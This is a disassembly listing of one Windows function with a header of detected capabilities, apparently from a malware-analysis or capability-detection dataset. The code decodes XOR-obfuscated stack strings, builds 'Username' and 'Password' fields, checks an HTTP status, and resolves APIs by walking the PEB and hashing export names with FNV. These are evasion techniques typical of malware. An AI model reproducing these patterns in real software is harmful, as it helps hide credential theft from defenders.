Function at 0x1800193a0
Capabilities:
Access peb ldr_data
Check http status code
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x480]
sub rsp, 0x580
mov rax, qword [0x1801f5b80]
xor rax, rsp
mov qword [rbp + 0x470], rax
xor r15d, r15d
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x58], 0x74637573
mov dword [rsp + 0x5c], 0x636b6768
mov byte [rsp + 0x60], 6
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], r15b
mov dword [rsp + 0x30], 4
xor r8d, r8d
lea edx, [r15 + 9]
lea rcx, [rbp]
call fcn.180014330
mov ecx, r15d
cmp rcx, 9
jae 0x18001b120
movzx edx, byte [rsp + rcx + 0x58]
xor dl, 6
cmp qword [rbp + 0x10], rcx
jbe 0x18001b11a
lea rax, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rax, qword [rbp]
mov byte [rcx + rax], dl
inc rcx
cmp rcx, 9
jl 0x18001942b
lea rdi, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae rdi, qword [rbp]
mov byte [rbp + 0x150], 0
xor eax, eax
mov qword [rbp + 0x158], rax
xor edx, edx
lea rcx, [rbp + 0x158]
call fcn.18001dcc0
mov byte [rbp + 0x150], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov ecx, 0x20
call fcn.180155610
mov rsi, rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rsi
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rdi + r8], 0
jne 0x1800194d4
mov rdx, rdi
mov rcx, rsi
call fcn.180014fd0
nop
mov qword [rbp + 0x158], rsi
mov qword [rbp + 0x160], r15
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd0], xmm1
lea rdx, str.Username
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x180019520
lea rcx, [rbp + 0xc0]
call fcn.180014fd0
nop
mov byte [rbp + 0x168], 0
xor eax, eax
mov qword [rbp + 0x170], rax
xor edx, edx
lea rcx, [rbp + 0x170]
call fcn.18001dcc0
mov byte [rbp + 0x168], 3
mov ecx, 0x20
call fcn.180155610
movups xmm0, xmmword [rbp + 0xc0]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp + 0xd0]
movups xmmword [rax + 0x10], xmm1
movdqa xmm0, xmmword [0x1801ce930]
movdqu xmmword [rbp + 0xd0], xmm0
mov byte [rbp + 0xc0], 0
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], r15
lea rax, [rbp + 0x150]
mov qword [rbp + 0x2e0], rax
lea rax, [rbp + 0x180]
mov qword [rbp + 0x2e8], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x210]
call fcn.18001c8b0
mov qword [rbp + 0x220], r15
mov dword [rsp + 0x58], 0x42425041
mov dword [rsp + 0x5c], 0x55435e46
mov byte [rsp + 0x60], 0x31
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
mov dword [rsp + 0x30], send
xor r8d, r8d
lea edx, [r8 + 9]
lea rcx, [rbp - 0x30]
call fcn.180014330
mov rcx, r15
cmp rcx, 9
jae 0x18001b15a
movzx edx, byte [rsp + rcx + 0x58]
xor dl, 0x31
cmp qword [rbp - 0x20], rcx
jbe 0x18001b154
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rax, qword [rbp - 0x30]
mov byte [rcx + rax], dl
inc rcx
cmp rcx, 9
jl 0x180019621
lea rdi, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdi, qword [rbp - 0x30]
mov byte [rbp + 0x180], 0
xor eax, eax
mov qword [rbp + 0x188], rax
xor edx, edx
lea rcx, [rbp + 0x188]
call fcn.18001dcc0
mov byte [rbp + 0x180], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov ecx, 0x20
call fcn.180155610
mov rsi, rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rsi
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
mov r8, rbx
inc r8
cmp byte [rdi + r8], 0
jne 0x1800196c3
mov rdx, rdi
mov rcx, rsi
call fcn.180014fd0
nop
mov qword [rbp + 0x188], rsi
mov qword [rbp + 0x190], r15
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
lea rdx, str.Password
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x180019706
lea rcx, [rbp + 0xa0]
call fcn.180014fd0
nop
mov byte [rbp + 0x198], 0
xor eax, eax
mov qword [rbp + 0x1a0], rax
xor edx, edx
lea rcx, [rbp + 0x1a0]
call fcn.18001dcc0
mov byte [rbp + 0x198], 3
mov ecx, 0x20
call fcn.180155610
movups xmm0, xmmword [rbp + 0xa0]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp + 0xb0]
movups xmmword [rax + 0x10], xmm1
movdqa xmm0, xmmword [0x1801ce930]
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], 0
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], r15
lea rax, [rbp + 0x180]
mov qword [rbp + 0x2e0], rax
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x2e8], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x228]
call fcn.18001c8b0
mov qword [rbp + 0x238], r15
mov dword [rsp + 0x38], 0x414c524d
mov byte [rsp + 0x3c], 0x25
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x60], 0
mov dword [rsp + 0x30], 0x1c
xor r8d, r8d
mov r12d, 5
mov edx, r12d
lea rcx, [rbp + 0x60]
call fcn.180014330
mov rcx, r15
cmp rcx, r12
jae 0x18001b14e
movzx edx, byte [rsp + rcx + 0x38]
xor dl, 0x25
cmp qword [rbp + 0x70], rcx
jbe 0x18001b148
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rax, qword [rbp + 0x60]
mov byte [rcx + rax], dl
inc rcx
cmp rcx, r12
jl 0x180019803
lea rdi, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdi, qword [rbp + 0x60]
mov byte [rbp + 0xe0], 0
xor eax, eax
mov qword [rbp + 0xe8], rax
xor edx, edx
lea rcx, [rbp + 0xe8]
call fcn.18001dcc0
mov byte [rbp + 0xe0], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov ecx, 0x20
call fcn.180155610
mov rsi, rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rsi
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
mov r8, rbx
inc r8
cmp byte [rdi + r8], 0
jne 0x1800198a4
mov rdx, rdi
mov rcx, rsi
call fcn.180014fd0
nop
mov qword [rbp + 0xe8], rsi
mov qword [rbp + 0xf0], r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
lea rdx, [0x1805e33d0]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1800198f0
lea rcx, [rbp + 0x80]
call fcn.180014fd0
nop
mov byte [rbp + 0xf8], 0
xor eax, eax
mov qword [rbp + 0x100], rax
xor edx, edx
lea rcx, [rbp + 0x100]
call fcn.18001dcc0
mov byte [rbp + 0xf8], 3
mov ecx, 0x20
call fcn.180155610
movups xmm0, xmmword [rbp + 0x80]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rax + 0x10], xmm1
movdqa xmm0, xmmword [0x1801ce930]
movdqu xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], 0
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], r15
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x2e0], rax
lea rax, [rbp + 0x110]
mov qword [rbp + 0x2e8], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x240]
call fcn.18001c8b0
mov qword [rbp + 0x250], r15
mov dword [rsp + 0x38], 0x242d2522
mov byte [rsp + 0x3c], 0x4b
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x20], 0
mov dword [rsp + 0x30], 0x3c
xor r8d, r8d
mov rdx, r12
lea rcx, [rbp + 0x20]
call fcn.180014330
mov rcx, r15
cmp rcx, 5
jae 0x18001b142
movzx edx, byte [rsp + rcx + 0x38]
xor dl, 0x4b
cmp qword [rbp + 0x30], rcx
jbe 0x18001b13c
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rax, qword [rbp + 0x20]
mov byte [rax + rcx], dl
inc rcx
cmp rcx, 5
jl 0x1800199e8
lea rdi, [rbp + 0x20]
cmp qword [rbp + 0x38], 0x10
cmovae rdi, qword [rbp + 0x20]
mov byte [rbp + 0x120], 0
xor eax, eax
mov qword [rbp + 0x128], rax
xor edx, edx
lea rcx, [rbp + 0x128]
call fcn.18001dcc0
mov byte [rbp + 0x120], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov ecx, 0x20
call fcn.180155610
mov rsi, rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rsi
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdi + r8], 0
jne 0x180019a90
mov rdx, rdi
mov rcx, rsi
call fcn.180014fd0
nop
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x130], r15
mov byte [rbp + 0x138], 0
xor eax, eax
mov qword [rbp + 0x140], rax
lea rdx, [0x1805dddb0]
lea rcx, [rbp + 0x138]
call fcn.18002bb80
mov qword [rbp + 0x148], r15
lea rax, [rbp + 0x120]
mov qword [rbp + 0x2e0], rax
lea rax, [rbp + 0x150]
mov qword [rbp + 0x2e8], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x258]
call fcn.18001c8b0
mov qword [rbp + 0x268], r15
mov dword [rsp + 0x70], 0x7f7e697a
mov dword [rsp + 0x74], 0xc626365
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x80], 0
mov dword [rsp + 0x30], 0x7c
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x80]
call fcn.180014330
mov rcx, r15
cmp rcx, 8
jae 0x18001b136
movzx edx, byte [rsp + rcx + 0x70]
xor dl, 0xc
cmp qword [rbp - 0x70], rcx
jbe 0x18001b130
lea rax, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rax, qword [rbp - 0x80]
mov byte [rax + rcx], dl
inc rcx
cmp rcx, 8
jl 0x180019b64
lea rdi, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae rdi, qword [rbp - 0x80]
mov byte [rbp - 0x60], 0
xor eax, eax
mov qword [rbp - 0x58], rax
xor edx, edx
lea rcx, [rbp - 0x58]
call fcn.18001dcc0
mov byte [rbp - 0x60], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov ecx, 0x20
call fcn.180155610
mov rsi, rax
lea rax, [rbp + 0x2d0]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rsi
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], r15
inc rbx
cmp byte [rdi + rbx], 0
jne 0x180019bf7
mov r8, rbx
mov rdx, rdi
mov rcx, rsi
call fcn.180014fd0
nop
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], r15
cmp byte [0x1805e4800], 0
je 0x180019c62
mov dword [rbp + 0x2e0], 0x7001607
mov dword [rbp + 0x2e4], 0x73141d1a
mov dword [rbp + 0x2e8], 0x6205732f
mov word [rbp + 0x2ec], 0x536b
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x2e0]
call fcn.18001be40
nop
mov edi, 0x7d
jmp 0x180019c92
mov dword [rsp + 0x40], 0x76757260
mov dword [rsp + 0x44], 0x65134f13
mov word [rsp + 0x48], 0xb02
mov byte [rsp + 0x4a], 0x33
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.18001b950
nop
mov edi, 0x7e
mov dword [rsp + 0x30], edi
mov rcx, rax
call fcn.1800143e0
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x48]
call fcn.180020600
nop
lea rax, [rbp - 0x60]
mov qword [rbp + 0x2e0], rax
lea rax, [rbp - 0x30]
mov qword [rbp + 0x2e8], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x270]
call fcn.18001bd20
nop
lea rax, [rbp + 0x210]
mov qword [rbp + 0x2e0], rax
lea rax, [rbp + 0x288]
mov qword [rbp + 0x2e8], rax
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x300]
call fcn.18001c8b0
nop
lea r9, [0x180019240]
mov r8, r12
mov edx, 0x18
lea rcx, [rbp + 0x210]
call fcn.18015564c
nop
lea r9, [0x180019240]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp - 0x60]
call fcn.18015564c
nop
test dil, 2
je 0x180019d55
and edi, 0xfffffffd
lea rcx, [rbp + 0x40]
call fcn.180014c00
nop
test dil, 1
je 0x180019d6a
and edi, 0xfffffffe
lea rcx, [rbp + 0x1d0]
call fcn.180014c00
and edi, 0xffffffbf
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x80]
call fcn.180014c00
nop
lea r9, [0x180019240]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x120]
call fcn.18015564c
and edi, 0xffffffdf
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x20]
call fcn.180014c00
nop
lea r9, [0x180019240]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0xe0]
call fcn.18015564c
nop
lea rcx, [rbp + 0x80]
call fcn.180014c00
and edi, 0xffffffef
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0x60]
call fcn.180014c00
nop
lea r9, [0x180019240]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x180]
call fcn.18015564c
nop
lea rcx, [rbp + 0xa0]
call fcn.180014c00
and edi, 0xfffffff7
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x30]
call fcn.180014c00
nop
lea r9, [0x180019240]
mov edx, 0x18
lea r8d, [rdx - 0x16]
lea rcx, [rbp + 0x150]
call fcn.18015564c
nop
lea rcx, [rbp + 0xc0]
call fcn.180014c00
and edi, 0xfffffffb
lea rcx, [rbp]
call fcn.180014c00
lea rcx, [rbp + 0x310]
call fcn.1800192b0
lea rax, [rbp + 0x60]
mov qword [rsp + 0x58], rax
mov dword [rbp + 0x2e0], 0x100a0b27
mov dword [rbp + 0x2e4], 0x49100a01
mov dword [rbp + 0x2e8], 0x1141d30
mov byte [rbp + 0x2ec], 0x64
lea rcx, [rbp - 0x60]
call fcn.180011f00
bts edi, 7
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_listen
mov edx, r14d
lea rcx, [rbp - 0x60]
call fcn.180014330
mov rsi, r15
nop dword [rax]
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x2e0]
call fcn.180014aa0
movzx ebx, byte [rax]
xor bl, 0x64
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x180019ec0
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1801cf800]
movdqu xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x30], 0x2a
lea rcx, [rbp + 0x1b0]
call fcn.180011f00
bts edi, 8
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_recvfrom
mov edx, r14d
lea rcx, [rbp + 0x1b0]
call fcn.180014330
mov rsi, r15
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x20]
call fcn.1800148e0
movzx ebx, byte [rax]
xor bl, 0x2a
mov rdx, rsi
lea rcx, [rbp + 0x1b0]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x180019f40
lea rcx, [rbp + 0x1b0]
call fcn.1800143e0
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x210]
call fcn.18001fbc0
nop
movdqa xmm0, xmmword [0x1801cf030]
movdqa xmm1, xmmword [0x1801cf480]
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm1
mov byte [rbp + 0x140], 0x46
lea rcx, [rbp + 0x1f0]
call fcn.180011f00
bts edi, 9
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r14d, 0x21
mov edx, r14d
lea rcx, [rbp + 0x1f0]
call fcn.180014330
mov rsi, r15
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x120]
call fcn.18001dbc0
movzx ebx, byte [rax]
xor bl, 0x46
mov rdx, rsi
lea rcx, [rbp + 0x1f0]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x180019ff0
lea rcx, [rbp + 0x1f0]
call fcn.1800143e0
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x38], 0x43535452
mov byte [rsp + 0x3c], 0x26
lea rcx, [rbp]
call fcn.180011f00
bts edi, 0xa
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov rdx, r12
lea rcx, [rbp]
call fcn.180014330
mov rsi, r15
mov r14, r12
mov rdx, rsi
lea rcx, [rsp + 0x38]
call fcn.180014a00
movzx ebx, byte [rax]
xor bl, 0x26
mov rdx, rsi
lea rcx, [rbp]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x18001a063
lea rcx, [rbp]
call fcn.1800143e0
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x250]
call fcn.18001fbc0
nop
mov dword [rsp + 0x40], 0x3b2c3a1c
mov dword [rsp + 0x44], 0x2c2e0864
mov word [rsp + 0x48], 0x3d27
mov byte [rsp + 0x4a], 0x49
lea rcx, [rbp + 0x80]
call fcn.180011f00
bts edi, 0xb
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r14d, recv
mov edx, r14d
lea rcx, [rbp + 0x80]
call fcn.180014330
mov rsi, r15
nop dword [rax]
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.180014af0
movzx ebx, byte [rax]
xor bl, 0x49
mov rdx, rsi
lea rcx, [rbp + 0x80]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x18001a100
lea rcx, [rbp + 0x80]
call fcn.1800143e0
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1801cfaa0]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x76466e0f
mov byte [rbp - 0x6c], 0x3e
lea rcx, [rbp + 0xa0]
call fcn.180011f00
bts edi, 0xc
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r14d, reloc.WS2_32.dll_setsockopt
mov edx, r14d
lea rcx, [rbp + 0xa0]
call fcn.180014330
mov rsi, r15
mov r12d, r14d
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rbp - 0x80]
call fcn.180014590
movzx ebx, byte [rax]
xor bl, 0x3e
mov rdx, rsi
lea rcx, [rbp + 0xa0]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r12, 1
jne 0x18001a190
lea rcx, [rbp + 0xa0]
call fcn.1800143e0
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x290]
call fcn.18001fbc0
nop
lea rax, [rbp + 0x210]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x60]
call fcn.18001bee0
mov r13, rax
lea rax, [rbp + 0x150]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x300]
call fcn.18001c310
nop
lea rax, [rbp + 0x40]
mov qword [rsp + 0x70], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x78], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x150]
call fcn.180017080
mov qword [rsp + 0x70], rax
movdqa xmm0, xmmword [0x1801cf1d0]
movdqa xmm1, xmmword [0x1801cf1f0]
mov dword [rbp - 0x10], 0xa491403
mov dword [rbp - 0xc], 0x80f0109
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm1
movsd xmm0, qword [rbp - 0x10]
movsd qword [rbp + 0x100], xmm0
mov byte [rbp + 0x108], 0x66
lea rcx, [rbp + 0xc0]
call fcn.180011f00
bts edi, 0xd
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r12d, 0x29
mov edx, r12d
lea rcx, [rbp + 0xc0]
call fcn.180014330
mov rsi, r15
mov rdx, rsi
lea rcx, [rbp + 0xe0]
call fcn.18001db80
movzx ebx, byte [rax]
xor bl, 0x66
mov rdx, rsi
lea rcx, [rbp + 0xc0]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r12, 1
jne 0x18001a2c1
lea rcx, [rbp + 0xc0]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.1800143f0
nop
lea rax, [rbp + 0x1d0]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x1f0]
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x180]
call fcn.180016fa0
nop
mov r9, r13
mov r8, qword [rsp + 0x70]
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.18001fc50
nop
lea r9, [fcn.180011f20]
lea edx, [r12 + 0x20]
lea r8d, [r12 + 1]
lea rcx, [rbp + 0x1d0]
call fcn.18015564c
btr edi, 0xd
mov dword [rsp + 0x30], edi
lea rcx, [rbp + 0xc0]
call fcn.180014c00
nop
lea r9, [fcn.180011f20]
lea edx, [r12 + 0x20]
lea r8d, [r12 + 1]
lea rcx, [rbp + 0x40]
call fcn.18015564c
nop
lea r9, [0x180019260]
lea edx, [r12 + 0x40]
lea r8d, [r12 + 3]
lea rcx, [rbp + 0x210]
call fcn.18015564c
btr edi, 0xc
lea rcx, [rbp + 0xa0]
call fcn.180014c00
btr edi, 0xb
lea rcx, [rbp + 0x80]
call fcn.180014c00
btr edi, 0xa
lea rcx, [rbp]
call fcn.180014c00
btr edi, 9
lea rcx, [rbp + 0x1f0]
call fcn.180014c00
btr edi, 8
lea rcx, [rbp + 0x1b0]
call fcn.180014c00
btr edi, 7
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x60]
call fcn.180014c00
lea rcx, [rbp + 0x330]
call fcn.180019390
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x310]
call fcn.18001bb80
nop
cmp dword [rbp + 0x340], 0xc8
je 0x18001a4cb
movdqa xmm0, xmmword [0x1801cf550]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x77777779
mov byte [rbp - 0x6c], 0x59
lea rcx, [rbp - 0x60]
call fcn.180011f00
bts edi, 0x10
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov rdx, r14
lea rcx, [rbp - 0x60]
call fcn.180014330
mov rsi, r15
nop
mov rdx, rsi
lea rcx, [rbp - 0x80]
call fcn.180014590
movzx ebx, byte [rax]
xor bl, 0x59
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x18001a480
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov rcx, rax
call fcn.1800aa200
btr edi, 0x10
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x60]
call fcn.180014c00
mov qword [rbp + 0x118], r15
lea r8, [rbp + 0xe0]
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x2f0]
call fcn.180020090
nop
cmp byte [rbp + 0x2f0], 0
je 0x18001b126
mov r14, qword [0x1805e33c8]
test r14, r14
jne 0x18001a5cb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001a5a7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001a5a7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x82396a04
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001a5a2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x18001a580
cmp edx, 0xf1bd745b
je 0x18001a9c9
test r8d, r8d
jne 0x18001a560
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x18001a5bd
cmp qword [rax + 0x30], 0
jne 0x18001a530
mov r14, r15
mov qword [0x1805e33c8], r14
mov edi, dword [rsp + 0x30]
mov dword [rsp + 0x30], 0x68687e76
mov dword [rsp + 0x34], 0x1b7e7c7a
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x58], rax
lea rcx, [rbp - 0x60]
call fcn.180011f00
bts edi, 0x11
mov dword [rsp + 0x30], edi
xor r8d, r8d
mov r12d, 8
mov edx, r12d
lea rcx, [rbp - 0x60]
call fcn.180014330
mov rsi, r15
nop
mov rdx, rsi
lea rcx, [rsp + 0x58]
call fcn.1800149e0
movzx ebx, byte [rax]
xor bl, 0x1b
mov rdx, rsi
lea rcx, [rbp - 0x60]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r12, 1
jne 0x18001a610
lea rcx, [rbp - 0x60]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.1800206c0
lea rdx, [rbp + 0x40]
mov rcx, rax
call fcn.1800201b0
nop
mov rcx, rax
call fcn.1800143e0
mov rdx, rax
lea rcx, str.JUJli7cS5XDvNWXK73wL
call r14
nop
lea rcx, [rbp + 0x40]
call fcn.180014c00
btr edi, 0x11
mov dword [rsp + 0x30], edi
lea rcx, [rbp - 0x60]
call fcn.180014c00
mov r12, qword [0x1805e47f8]
test r12, r12
jne 0x18001a75b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x18001a737
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x18001a737
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r11]
add rcx, r9
mov edx, 0x5b2830f0
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x18001a732
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x18001a710
cmp edx, 0x100cf3f1
je 0x18001a9e6
test r8d, r8d
jne 0x18001a6f0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
je 0x18001a74d
cmp qword [rax + 0x30], 0
jne 0x18001a6c0
mov r12, r15
mov qword [0x1805e47f8], r12
mov edi, dword [rsp + 0x30]
movdqa xmm0, xmmword [0x1801ceff0]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x70], 0x12121557
mov dword [rbp - 0x6c], 0x16155719
mov dword [rbp - 0x68], 0x13121919
mov word [rbp - 0x64], 0x7759
lea rcx, [rbp - 0x60]
